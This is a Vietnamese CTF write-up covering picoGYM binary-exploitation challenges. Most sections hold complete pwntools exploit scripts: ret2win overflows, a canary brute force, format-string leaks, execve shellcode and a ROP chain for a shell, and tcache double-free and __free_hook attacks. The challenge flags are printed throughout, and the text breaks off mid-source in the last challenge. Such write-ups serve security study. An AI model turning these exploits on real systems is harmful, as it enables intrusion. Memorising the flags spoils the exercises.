{%hackmd @themes/dracula %}
# (writeup) PicoGYM
## Binary Exploitation
### basic-file-exploit
- ta nhận đc file source code, thì ta cứ compile nó trc đi

- ta sẽ dành ra vài phút cuộc đời đọc code xíu
- ........
- ở đây ta thấy 1 thằng đọc flag

- hàm đọc flag đó sẽ có nếu ta nhập số 2 (data_read)
- ngoài ra có **strtol** có chức năng đổi chuỗi về số, tức chuỗi mình nếu chỉ toàn ký tự thì trả về 0, miễn có chứa số trong chuỗi đó thì sẽ đếm từ 1 trở đi
- và nếu *entry_number* là cái kết quả của hàm **strtol** = 0 thì sẽ in flag

- vậy ta netcat thử

- hmmm, ta phải bước qua xác thằng số 1(data_write)

- check xem nào

- =)))))))))))
>picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_68466E2F}
---
### buffer overflow 0
- check file

- check ida

- hmmmmmmmmm
- run thử chương trình bên ngoài thử

- =)))))))))))))))))))))))))))))))))))))))))))
- thôi, netcat cho lẹ, viết script làm j

> picoCTF{ov3rfl0ws_ar3nt_that_bad_8ba275ff}
---
### buffer overflow 1
- check file

> thề, ghét file 32 bit bỏ xừ, do trên ubuntu chỉ có ida64, muốn đọc trên ida32 phải chạy bằng win
> mà ida64 hay ida32 trên win nó lỏ thực sự, cứ bị crash (NOT responding)
- cũng hên có source code coi đỡ kkkkk
- checksec

- ta sẽ tìm offset


- đề cho 1 địa chỉ ret, hmmmm, nhưng lại có hàm **win**

- kkk k j khác ngoài ret2win

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./vuln',checksec=False)
#p = process(exe.path)
p = remote('saturn.picoctf.net', 58078)
payload = b'A'*44
payload += p32(exe.sym['win'])
p.sendlineafter(b'string: \n', payload)
p.interactive()
```
> picoCTF{addr3ss3s_ar3_3asy_c76b273b}
---
### buffer overflow 2
- check file

> lại file 32
- tự mình coi source code
- lần này ở hàm win có thêm arg kiểm tra

- tìm offset theo cách trên ta có 112
- nhảy đến hàm **win**
- thêm từng arg

- hmmm, chưa được, có khi nào stack k dc chẵn để kiểm tra từng arg (kinh nghiệm phán đoán)
- ta thêm ret vào đi

- finally....

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./vuln',checksec=False)
#p = process(exe.path)
p = remote('saturn.picoctf.net', 56236)
ret = 0x08049009
payload = b'A'*112
payload += p32(exe.sym['win'])
payload += p32(ret)
payload += p32(0xCAFEF00D)
payload += p32(0xF00DF00D)
p.sendlineafter(b'string: \n', payload)
p.interactive()
```
>picoCTF{argum3nt5_4_d4yZ_31432deb}
---
### buffer overflow 3
- basic file check

- source:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
```
- thông qua souce, thấy được rằng canary được lấy từ file 'canary.txt' tĩnh trên server ---> brute force 4 byte
- rồi từ đó ret2win
~~ngắn gọn vậy thôi =))~~

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./vuln',checksec=False)
# p = process(exe.path)
canary = []
for i in range(4):
for j in range(0x100):
p = remote('saturn.picoctf.net',54264)
p.sendlineafter(b'> ',str(0x60))
payload = b'a'*0x40
payload += b''.join([p8(b) for b in canary]) + p8(j)
p.sendafter(b'Input> ',payload)
test = p.recv()
if b'***** Stack Smashing Detected ***** ' not in test:
log.info('byte found: ' + hex(j)[2:])
canary.append(j)
break
canary = u32(b''.join([p8(b) for b in canary]))
log.info('canary: ' + hex(canary))
# canary = b'BiRd'
p = remote('saturn.picoctf.net',54264)
p.sendlineafter(b'> ',str(0x60))
payload = b'a'*0x40
payload += p32(canary)
payload += b'b'*(0x10-4)
payload += p32(0)
payload += p32(exe.sym['win'])
p.sendafter(b'Input> ',payload)
p.interactive()
```
>picoCTF{Stat1C_c4n4r13s_4R3_b4D_14b7d39c}
---
### x-sixty-what
- check file

🤌🤌🤌
- check ida

- checksec

- check functions
>flag
>vuln
>**main**
- hàm **vuln** chỉ là **get()** ---> BOF
- hàm **flag** quá chi là rõ ---> ret2win
- tự tìm offset ta có 72
- rồi nhảy tới hàm **flag**

- hmm, theo hình thì ta nhảy dc hàm **flag** rồi, nhưng chưa đọc được, khả năng cao là stack lẻ
- vẫn theo kinh nghiệm, +5 lên

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./vuln',checksec=False)
#p = process(exe.path)
p = remote('saturn.picoctf.net', 56669)
payload = b'A'*72
payload += p64(exe.sym['flag']+5)
p.sendlineafter(b'flag: \n',payload)
p.interactive()
```
> picoCTF{b1663r_15_b3773r_964d9987}
---
### flag leak
- check file

- grrrrrrrr
- checksec

- tự coi source thì thấy có hàm đọc flag

- check hàm này thì thấy có *printf* chuỗi mình vừa nhập, khả năng là lỗi FMTSTR

- ta sẽ gdb và dừng ngay hàm *scanf*

- leak thử thì chưa đúng

- quên mất đây là file 32bit, k thể từ 6 tính lên dc
- còn cách leak từ 0 đến 1 số nào đó chẳng hạn

- uầy, tại 20 có flag r nè


- tưởng bợ r
- thôi thì cho chạy script trên server, chạy từ 10 đến 30 đi

- tới đây lại %24, hmmmm
- mà định dạng flag còn thiếu \<pico>
>picoCTF{L34k1ng_Fl4g_0ff_St4ck_c2e94e3d}
---
### ropfu
- check file

- checksec

- cũng hên source code ngắn ngắn:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
```
- tìm offset ta dc 28
- cách 1: NX tắt thì ret2shellcode
- payload ta truyền vào sẽ trả về 1 pointer nằm trong thanh ghi $eax
```gef
$eax : 0xffffcf10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ebx : 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al
$ecx : 0x080e5300 → <_IO_2_1_stdin_+0> mov BYTE PTR [edx], ah
$edx : 0xffffcf2c → 0x08049e00 → <main+47> push eax
$esp : 0xffffcf00 → 0xffffcf10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ebp : 0xffffcf28 → "AAAA"
$esi : 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al
$edi : 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al
$eip : 0x08049dc9 → <vuln+52> add esp, 0x10
```
- check stack pointer $eax
```gef
gef➤ vm 0xffffcf10
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
```
> stack thực thi được
- tìm gadget ``jmp eax``

>0x0805334b
- hướng đi ban đầu, payload ta sẽ gửi shellcode từ đầu rồi ``jmp eax`` nhưng có vẻ không được
- vậy ta thử những byte payload đầu dùng ``nop`` để trượt xuống đến shellcode
- ở $eip là ``jmp esp`` để cái ret tiếp theo là đến shellcode
- asm:
```asm
xor eax,eax ; xoá eax
push eax ; đẩy NULL vào stack
push 0x68732f2f ; đưa '//sh'
push 0x6e69622f ; đưa '/bin' tạo chuỗi '/bin//sh\0'
mov ebx,esp ; đưa vào ebx
push eax ; đẩy NULL vào stack
push eax ; tương tự
pop ecx ; set NULL cho ecx
pop edx ; set NULL cho edx
mov al,0xb ; đưa execve là 0xb cho eax
int 0x80 ; syscall
```

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./vuln',checksec=False)
context.arch = 'i386'
p = process(exe.path)
#p = remote('saturn.picoctf.net', 50664)
gdb.attach(p,gdbscript='''
b*vuln+47
b*vuln+59
c
''')
input()
jmp_eax = 0x0805334b
nop = asm('''
nop
''',arch='i386')
jump_esp = asm('''
jmp esp
''',arch='i386')
shellcode = asm('''
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push eax
pop ecx
pop edx
mov al,0xb
int 0x80
''',arch='i386')
payload = nop*26 # nop có 1 byte
payload += jump_esp # jmp esp có 2 byte ---> đủ offset 28 bytes
payload += p32(jmp_eax)
payload += shellcode
p.sendlineafter(b'grasshopper!\n', payload)
p.interactive()
```
- cách 2: (tên đề là 'ropfu' nên sẽ dùng kỹ thuật ROP)

- ở đây có option ropchain, ta thử xem sao

- pwntools này nhiệt tình quá, hướng dẫn cho ta lun kkkkk

- script:
```python
#!/usr/bin/python3
from pwn import *
from struct import pack
context.binary = exe = ELF('./vuln',checksec=False)
#p = process(exe.path)
p = remote('saturn.picoctf.net', 50664)
pop_eax = 0x080b074a
pop_edi = 0x0804b28f
pop_esi = 0x0804ae7a
pop_edx_ebx = 0x080583c9
syscall = 0x0806418d
rw_section = 0x80e5050
payload = b'A'*28
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5060) # @ .data
payload += pack('<I', 0x41414141) # padding
payload += pack('<I', 0x080b074a) # pop eax ; ret
payload += b'/bin'
payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5064) # @ .data + 4
payload += pack('<I', 0x41414141) # padding
payload += pack('<I', 0x080b074a) # pop eax ; ret
payload += b'//sh'
payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5068) # @ .data + 8
payload += pack('<I', 0x41414141) # padding
payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret
payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x08049022) # pop ebx ; ret
payload += pack('<I', 0x080e5060) # @ .data
payload += pack('<I', 0x08049e39) # pop ecx ; ret
payload += pack('<I', 0x080e5068) # @ .data + 8
payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
payload += pack('<I', 0x080e5068) # @ .data + 8
payload += pack('<I', 0x080e5060) # padding without overwrite ebx
payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0808055e) # inc eax ; ret
payload += pack('<I', 0x0804a3d2) # int 0x80
p.sendlineafter(b'grasshopper!\n', payload)
#p.sendline(b'/bin/sh')
p.interactive()
```
>picoCTF{5n47ch_7h3_5h311_c6992ff0}
---
### function overwrite
- check file

- checksec

- từ tên đề, ta đoán phải OW các hàm, cũng như các biến
- ở đây ta có những hàm nên quan tâm:
>check
>fun
>easy_checker
>hard_checker
- tìm địa chỉ

```c
printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);
if (num1 < 10)
{
fun[num1] += num2;
}
check(story, strlen(story));
}
```
- ở đoạn code trên, ta thấy nhận 2 số ``%d %d`` lần lượt là **num1** và **num2**, hàm **check** sẽ xem cái sì to rì của mình
```c
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
```
- địa chỉ của **check** trỏ tới **hard_checker**
- nhưng hàm **hard_checker** nó kiểm tra số 13371337 trong khi **easy_checker** chỉ cần 1337

- payload là 'abcdefghijklk'
- bug chính:
```c
fun[num1] += num2; // mảng fun, idx là num1, tại idx num1 thao tác += num2
// cần truyền num1 sẽ trỏ đến check
// và num2 sẽ thay đổi từ check->hard_checker sang check->easy_checker
```
- vậy ta cần ***check** đến **easy_checker** thay vì cái **hard_checker** (do địa chỉ **hard** lớn hơn **easy** nên ta sẽ trừ ra)
> 0x8049436 - 0x80492fc
314
- vì do **fun** là mảng, nôm na tương tự 1 pointer nên ta sẽ lợi dụng mảng **fun** đưa vào index num1 là offset giữa **fun** và **check**
> 0x804c080 - 0x804c040
64
- vì 64 byte nên đưa vào mảng ta phải chia 4 (vì num1 dc khai báo là int)
```
# pointer fun point check, check point hard_checker
# sub 314 to point easy__checker
```

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe =ELF('./vuln',checksec=False)
#p = process(exe.path)
p = remote('saturn.picoctf.net', 53550)
check = 0x804c040
fun = 0x804c080
#offset = 64
easy_checker = 0x80492fc
hard_checker = 0x8049436
#offset = 314
payload = b'abcdefghijklk'
p.sendlineafter(b'>> ',payload)
payload = b'-16 -314'
p.sendlineafter(b'10.',payload)
p.interactive()
```
>picoCTF{0v3rwrit1ng_P01nt3rs_698c2a26}
---
### stack cache
- check file

- author ghiền file 32bit ....
- checksec

- check source code

- ta thấy 2 hàm này khả nghi, nhưng trong main lại k có xuất hiện, tức là bị ẩn đi
- ta sẽ kiếm addr chúng nó trc

- hàm **win** sẽ đọc flag từ ***buf***, ***buf*** có từ hàm **vuln**

- hmmm, sau khi thực thi hàm vuln thì ta nên jump tới **win** để đọc ***buf***, rồi jump tới **UnderConstruction** xem sao
- vậy ta sẽ kiếm offset từ **vuln**

- sau khi nhập cỡ 20 bytes A, thì ta thấy đã OW dc $ebp, và sau đó lại dư 6 bytes A, đoán đc offset là 14
- thử lại lần nữa cho chắc, nhập 25 bytes A đi

- sau $ebp là có 2 dòng tràn, dòng trên tràn 11 bytes A thì 25 - 11 vẫn ra 14, hmmmmmm
```
0xffffd008│+0x0018: "AAAAAAAAAAAAAAA" ← $ebp
0xffffd00c│+0x001c: "AAAAAAAAAAA"
0xffffd010│+0x0020: "AAAAAAA"
```
- thử với 30 bytes A thì sẽ ra 16, vậy chắc nịch offset là 14 r

- ta thấy sau khi nhập vào lượng bytes đó, $esp dg trỏ tới stack(màu tím) trỏ tới dữ liệu rác
- vì mình muốn jump tới hàm **win** nên $eip là thanh ghi thích hợp để nhảy, còn $esp là thanh ghi thích hợp để trỏ
- thế thì ta sẽ nhảy tới **win**, sau đó thì tới **UnderConstruction**

- như hình là ta trỏ đến đúng **UnderConstruction**, thế thì số hexadecimal ngta cho đó là gì
- ta convert về ascii xem thử nó muốn nói điều chi

- do có tạo file *flag.txt* từ máy là ``KCSC{this_is_fake_flag!!!}``, nhưng trong hình thì ta thấy chữ bị in ngược, cộng với 1 số chữ vô nghĩa
- kết nối sever thử

- định dạng flag lại theo ``picoCTF{}``
> picoCTF{Cle4N_uP_mem0rY_4c1cd4ab}
---
### wine
- ở bài này hơi khác là author cho ta file *.exe*
- ta gg thì thấy cách run file *.exe*

- khá giống tên đề bài kkkkkk
- cài thử và run dc:

- trong source code ta thấy hàm **win**, khả năng cao là ret2win
```c
void win(){
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("flag.txt not found in current directory.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
void vuln()
{
printf("Give me a string!\n");
char buf[128];
gets(buf);
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
```
- nhưng chắc file đó k gdb dc
- nên thử chỉnh source code để in ra hàm **win**
```c
void vuln()
{
printf("win address: %p\n",win);
printf("Give me a string!\n");
char buf[128];
gets(buf);
}
```

- sau khi run nhiều lần, ta thấy địa chỉ **win** luôn thay đổi
- hmmmm
- ida cái file *.exe* luôn

- ta decompile k dc nhưng ta có thể coi function _win
- thì thấy ngay góc này có addr của _win

> 0x401530
- v thì ta thử ret2win
- offset ta coi source code thì thấy 128

- thử với 128 byte A thì có lẽ chưa bị core dump

- với 150 thì đã bị core dump
- ta lui về xíu cỡ 140 thì thấy ở 140 đã bị core dump
- thử tiếp với 139, 138,...


- thì ở lần nhập cuối là 136 byte, nhận thấy đây là file 32 nên là save_ebp là 136, tới eip là 140
- ta thử gửi 140 byte kèm với địa chỉ _win

- script:
```python
#!/usr/bin/python3
from pwn import *
p = remote('saturn.picoctf.net', 54929)
payload = b'A'*140
payload += p32(0x401530)
p.sendline(payload)
p.interactive()
```
> picoCTF{Un_v3rr3_d3_v1n_8ab00bc8}
---
### CVE-XXXX-XXXX
- ở bài này k cho file j cả, kha khá giống osint
- ta tìm thử



- =)))))))))))))
> picoCTF{CVE-2021-34527}
---
### stonks
- chal này ngta cho source:
```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4
typedef struct Stonks {
int shares;
char symbol[MAX_SYM_LEN + 1];
struct Stonks *next;
} Stonk;
typedef struct Portfolios {
int money;
Stonk *head;
} Portfolio;
int view_portfolio(Portfolio *p) {
if (!p) {
return 1;
}
printf("\nPortfolio as of ");
fflush(stdout);
system("date"); // TODO: implement this in C
fflush(stdout);
printf("\n\n");
Stonk *head = p->head;
if (!head) {
printf("You don't own any stonks!\n");
}
while (head) {
printf("%d shares of %s\n", head->shares, head->symbol);
head = head->next;
}
return 0;
}
Stonk *pick_symbol_with_AI(int shares) {
if (shares < 1) {
return NULL;
}
Stonk *stonk = malloc(sizeof(Stonk));
stonk->shares = shares;
int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
for (int i = 0; i <= MAX_SYM_LEN; i++) {
if (i < AI_symbol_len) {
stonk->symbol[i] = 'A' + (rand() % 26);
} else {
stonk->symbol[i] = '\0';
}
}
stonk->next = NULL;
return stonk;
}
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api","r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
int money = p->money;
int shares = 0;
Stonk *temp = NULL;
printf("Using patented AI algorithms to buy stonks\n");
while (money > 0) {
shares = (rand() % money) + 1;
temp = pick_symbol_with_AI(shares);
temp->next = p->head;
p->head = temp;
money -= shares;
}
printf("Stonks chosen\n");
// TODO: Figure out how to read token from file, for now just ask
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
// TODO: Actually use key to interact with API
view_portfolio(p);
return 0;
}
Portfolio *initialize_portfolio() {
Portfolio *p = malloc(sizeof(Portfolio));
p->money = (rand() % 2018) + 1;
p->head = NULL;
return p;
}
void free_portfolio(Portfolio *p) {
Stonk *current = p->head;
Stonk *next = NULL;
while (current) {
next = current->next;
free(current);
current = next;
}
free(p);
}
int main(int argc, char *argv[])
{
setbuf(stdout, NULL);
srand(time(NULL));
Portfolio *p = initialize_portfolio();
if (!p) {
printf("Memory failure\n");
exit(1);
}
int resp = 0;
printf("Welcome back to the trading app!\n\n");
printf("What would you like to do?\n");
printf("1) Buy some stonks!\n");
printf("2) View my portfolio\n");
scanf("%d", &resp);
if (resp == 1) {
buy_stonks(p);
} else if (resp == 2) {
view_portfolio(p);
}
free_portfolio(p);
printf("Goodbye!\n");
exit(0);
}
```
- ở đây nó có file "api"
```c
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api","r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
```
- ta compile thử ``gcc vuln -o vuln.c``
- ta thấy 1 lỗi fmtstr ngay đây
```c
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
```
- ta gdb và dừng ngay scanf có lỗi fmtstr thì thấy trên stack có flag:

- từ %12 trở đi

- flag hơi rối do dùng p64()
```python
result = p64(int(out.decode(), 16))
flag += result
```

- script:
```python
#!/usr/bin/python3
from pwn import *
flag = b''
for i in range(12, 25):
p = remote("mercury.picoctf.net", 27912)
p.sendlineafter("do?\n", "1")
p.sendlineafter("token?\n", f"%{i}$p")
p.recvuntil("Buying stonks with token:\n")
out = p.recvline()
try:
result = p32(int(out.decode(), 16))
flag += result
except:
pass
p.recvall()
print(flag)
p.interactive()
```
> picoCTF{I_l05t_4ll_my_m0n3y_1cf201a0}
---
### zero_to_hero
- check file + checksec

- check ida (file bị stripped nên renamed như sau)

> **main()**

> **delete()**

> **add()**

> **win()**

> win_addr: 0x400a02
- nhìn sơ qua ida, có thể thấy chương trình k set ``NULL`` cho con trỏ sau khi free 1 chunk, trigger thử DBF

> free(): double free detected in tcache 2
- nhưng lại có 1 bug khác:


> nhờ chat gpt 1 tí ◑﹏◐
- tức là ta có thể dùng kỹ thuật ``poison null byte`` hay còn gọi là ``off by one`` (này khác với trong cách khai thác BOF)
> là ta có thể ghi thêm ``NULL`` byte vào cuối mỗi payload để ow vào bên dưới metadata của chunk sau
> nhưng ở bài này lại cho sẵn kkkk
- vậy nếu thêm ``NULL`` vào metadata của chunk sau ---> thay đổi size
- nhưng giả sử size của chunk sau là 0x31 ---> set thành 0x00 sẽ có thể bị crashed chương trình (k thể tồn tại 1 chunk đang chứa dữ liệu nhưng lại có size = 0)
- ta sẽ set chunk sau thành 0x101 ---> poison thành size 0x100 (size không thay đổi, chỉ conrupted ``PREV_INUSE``, cho biến chunk đó chưa đc phân bổ)
- nhưng như vậy thì hơi cấn cấn khi **free()** chunk này lắm (do chỉ thay đổi bit INUSE ---> poison vô nghĩa)
- vậy ta sẽ tạo 2 chunk, với chunk sau có size là 0x111 rồi **free()** chunk 2 để đưa pointer vào tcache_bin
- và nếu ta ow size chunk2 từ chunk 1 thì khi tiếp tục **free()** chunk 2 sẽ trigger được DBF (bypass được lỗi check ở tcache)
```gef
[chunk1]: 0x0000000000000000 0x0000000000000031
0xdeadbeefcafebabe 0xdeadbeefcafebabe
0xdeadbeefcafebabe 0xdeadbeefcafebabe
[chunk2]: 0xdeadbeefcafebabe 0x0000000000000111
...
```
- after
```gef
[chunk1]: 0x0000000000000000 0x0000000000000031
0xdeadbeefcafebabe 0xdeadbeefcafebabe
0xdeadbeefcafebabe 0xdeadbeefcafebabe
[chunk2]: 0xdeadbeefcafebabe 0x0000000000000100 <- poison null byte!!!
...
```
- exploit:
- từ ida, ta có thấy chal cho địa chỉ hàm **system** ---> leak libc base
- nhưng lại cho thêm hàm **win()**, get_shell hay get_win ? =))))))))))
- idea sẽ là ow **win()** vào ``__free_hook``, để khi call **free()** one more time will execute **win()**
- size ta sẽ lấy size liếm qua prev_size luôn (ví dụ cần size 0x31 thì malloc 0x28 để poison ``NULL`` byte cho size)

> sau khi malloc 2 chunk, free chunk 2 rồi chunk 1, reallocate chunk 1 sửa size chunk2 và free chunk 2
> chương trình k bị lỗi ---> bypass check của tcache
- khi đã trigger dc DBF, ta có thể sửa fw pointer chunk 2 ---> ow ``__free_hook``


> malloc thêm 1 đoạn nhỏ có size là 0x100 (cụ thể là 0xf8) để có thể lấy chunk đã poison NULL byte là 0x100 reallocate lần nữa ---> sửa fw
- tiếp tục malloc để reused bin cho tcache trống

> lúc này tcache_bin còn chunk 1, chứa fw là __free_hook (thành fake chunk rồi kkkk)
> ta cần sửa content __free_hook (đang là 0) thành địa chỉ hàm **win()**

> bingo
- việc bây giờ là **free()** 1 phát nữa là có flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./zero_to_hero_patched', checksec=False)
libc = ELF('./libc.so.6',checksec=False)
ld = ELF('./ld-2.29.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x0000000000400B92
b*0x0000000000400C2E
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('jupiter.challenges.picoctf.org', 29476)
else:
p = process(exe.path)
GDB()
def add(size,data):
sla(b'> ',b'1')
sla(b'> ',str(size))
sa(b'> ',data)
def delete(idx):
sla(b'> ',b'2')
sla(b'> ',str(idx))
win = 0x00400a02
info('win_addr: ' + hex(win))
sla(b'hero?\n',b'y')
p.recvuntil(b'this: ')
system = int(p.recvline()[:-1],16)
info('system addr: ' + hex(system))
libc.address = system - libc.sym['system']
info('libc base: ' + hex(libc.address))
add(40,b'aaaa') #chunk 1
add(264,b'bbbb') #chunk 2
delete(1) #free chunk 2
delete(0) #free chunk 1 to rewrite
add(40,b'a'*40) #ow size chunk 2
delete(1) #trigger DBF
#tcache_bin have 2 pointer with have the sme size and the same addr
add(248,p64(libc.sym['__free_hook'])) #ow fw chunk 2
add(264,b'0') #reused bin 1
add(264,p64(win)) #reused bin 2 by win_addr
delete(0)
p.interactive()
#picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_wuqzpzof}
```
>picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_wuqzpzof}
---
### Catch Me Outside
- check file + checksec

- check ida

- pwninit

> ta phải patchef libc vào file mới chạy được
> do sự khác nhau về version libc của system và libc được cung cấp
- chương trình sẽ tạo 7 cái malloc, nhưng chỉ có 1 malloc là chứa flag của mình
- sau đó free 2 con trỏ **dest** và **v11**
![![Uploading file..._z8lck78px]()
](https://hackmd.io/_uploads/S1Ytoud6h.png)
- khi gần kết thúc chương trình, nó lại gọi malloc lần nữa cùng size, đồng nghĩa lôi freed chunk từ tcache ra dùng lại

- việc của mình là thay đổi chunk để malloc ra đúng với vị trí flag của mình

> malloc lại freed chunk là chunk dưới cùng, flag mình ở trên ---> **v6** mình điền số âm
- đọc source asm tí để hiểu cách ``v8[v6] = v5;``

> $rbp-0xa0 là con số âm offset của mình
> $rbp-0x98 là chunk đầu tiên chứa flag
> 
> $rbp-0xa1 là value của mình
> lấy chunk 34a0 + thêm offset
> ghi đè 1 byte cuối thành chunk mới
> (lúc này thử offset '-40' và value là '0'(\x30) )
- **target** là khi malloc lại lần nữa rơi vào chunk chứa flag
- dựa vào **tcache data structure**, ta tính offset:
- ta cần offset từ 34a0 đó trỏ về entry cảu freed chunk

> offset '-0x1418'
- khi ta trỏ được rồi, value tiếp theo sẽ sửa chunk 1 byte duy nhất

> sửa byte '0x90'
- thì hợp lí nhất sẽ là byte '\x00' (entry của chunk này lại chính là chunk sau ---> tcache bin k còn 2 freed chunk nữa mà bây giờ thành 1)
- thì lần malloc tiếp theo sẽ lôi chunk 3800 ra

- sau đó **puts()** ở vị trí +16 theo ida (hoặc 0x10 theo asm)
- tức là nội dung in ra từ nằm ở giữa chữ 'Your flag'

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./heapedit_patched', checksec=False)
libc = ELF('./libc.so.6',checksec=False)
ld = ELF('./ld-2.27.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+541
b*main+579
b*main+599
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('mercury.picoctf.net', 10097)
else:
p = process(exe.path)
GDB()
sla(b'Address: ',str(-0x1418))
sla(b'Value: ',b'\0')
p.interactive()
#picoCTF{97c85bbf2168f674263a1c5629b411a3}
```
>picoCTF{97c85bbf2168f674263a1c5629b411a3}
---
### Unsubscriptions Are Free
- check file + checksec

- source:
```c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
char choice;
cmd *user;
void hahaexploitgobrrr(){
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt","r");
